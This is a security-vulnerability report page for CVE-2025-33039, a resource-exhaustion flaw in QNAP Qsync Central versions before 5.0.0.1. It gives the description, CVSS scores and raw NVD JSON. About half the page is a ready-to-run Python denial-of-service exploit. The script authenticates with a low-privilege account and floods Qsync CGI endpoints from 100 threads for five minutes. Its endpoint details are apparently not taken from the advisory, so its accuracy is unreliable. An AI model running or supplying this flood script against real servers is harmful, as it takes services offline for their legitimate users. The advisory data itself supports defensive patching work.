Security Vulnerability Report
中文
CVE-2025-33039 CVSS 6.5 MEDIUM

CVE-2025-33039

Published: 2025-10-03 18:15:35
Last Modified: 2025-10-07 15:01:53

Description

An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource. We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.1 ( 2025/07/09 ) and later

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:* - VULNERABLE
QNAP Qsync Central < 5.0.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33039 PoC - QNAP Qsync Central Resource Exhaustion DoS # Vulnerability: Allocation of Resources Without Limits or Throttling (CWE-770) # CVSS: 6.5 (MEDIUM) - AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H # Affected: Qsync Central < 5.0.0.1 import requests import threading import time import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_HOST = "https://qsync-central-target.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" MAX_THREADS = 100 DURATION = 300 # Attack duration in seconds class QsyncResourceExhaustion: """ Exploit for CVE-2025-33039: Resource exhaustion DoS against QNAP Qsync Central. Requires valid low-privilege user credentials. """ def __init__(self, target, username, password): self.target = target.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.session.verify = False self.success_count = 0 self.fail_count = 0 self.stop_flag = False def authenticate(self): """Authenticate to Qsync Central with valid credentials.""" login_url = f"{self.target}/cgi-bin/qsync/qsync.cgi" login_data = { "act": "login", "user": self.username, "pwd": self.password } try: resp = self.session.post(login_url, data=login_data, timeout=10) if resp.status_code == 200 and "sid" in self.session.cookies.get_dict(): print(f"[+] Authentication successful for user: {self.username}") return True print(f"[-] Authentication failed. Status: {resp.status_code}") return False except Exception as e: print(f"[-] Auth error: {e}") return False def trigger_resource_consumption(self, thread_id): """ Send repeated requests that consume server-side resources (connections, file handles, memory) without proper throttling. """ endpoints = [ "/cgi-bin/qsync/qsync.cgi?act=list_share_folder", "/cgi-bin/qsync/qsync.cgi?act=get_file_list&path=/", "/cgi-bin/qsync/qsync.cgi?act=sync_status", "/cgi-bin/qsync/qsync.cgi?act=get_user_info", ] local_count = 0 while not self.stop_flag: for endpoint in endpoints: if self.stop_flag: break try: url = f"{self.target}{endpoint}" resp = self.session.get(url, timeout=5) local_count += 1 if resp.status_code == 200: self.success_count += 1 else: self.fail_count += 1 except requests.exceptions.ConnectionError: self.fail_count += 1 # Server may be starting to refuse connections (DoS achieved) except Exception: self.fail_count += 1 return local_count def run(self, threads=MAX_THREADS, duration=DURATION): """Launch the resource exhaustion attack.""" if not self.authenticate(): print("[-] Cannot proceed without valid credentials.") return print(f"[*] Launching resource exhaustion attack with {threads} threads...") print(f"[*] Duration: {duration} seconds") start_time = time.time() with ThreadPoolExecutor(max_workers=threads) as executor: futures = [ executor.submit(self.trigger_resource_consumption, i) for i in range(threads) ] try: time.sleep(duration) except KeyboardInterrupt: print("\n[!] Interrupted by user.") self.stop_flag = True for f in as_completed(futures, timeout=30): try: f.result() except Exception: pass elapsed = time.time() - start_time total = self.success_count + self.fail_count print(f"\n[+] Attack completed in {elapsed:.1f}s") print(f"[+] Total requests: {total}") print(f"[+] Successful: {self.success_count}") print(f"[+] Failed: {self.fail_count}") if self.fail_count > self.success_count: print("[!] High failure rate may indicate service degradation (DoS achieved).") if __name__ == "__main__": if len(sys.argv) >= 4: TARGET_HOST = sys.argv[1] USERNAME = sys.argv[2] PASSWORD = sys.argv[3] print("=" * 60) print("CVE-2025-33039 - QNAP Qsync Central Resource Exhaustion PoC") print("For authorized security testing only.") print("=" * 60) exploit = QsyncResourceExhaustion(TARGET_HOST, USERNAME, PASSWORD) exploit.run()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33039", "sourceIdentifier": "[email protected]", "published": "2025-10-03T18:15:34.920", "lastModified": "2025-10-07T15:01:53.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An allocation of resources without limits or throttling vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.1 ( 2025/07/09 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0.0", "versionEndExcluding": "5.0.0.1", "matchCriteriaId": "1CCFCB2F-05FA-460B-BD0D-966E7CE58D8A"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-34", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}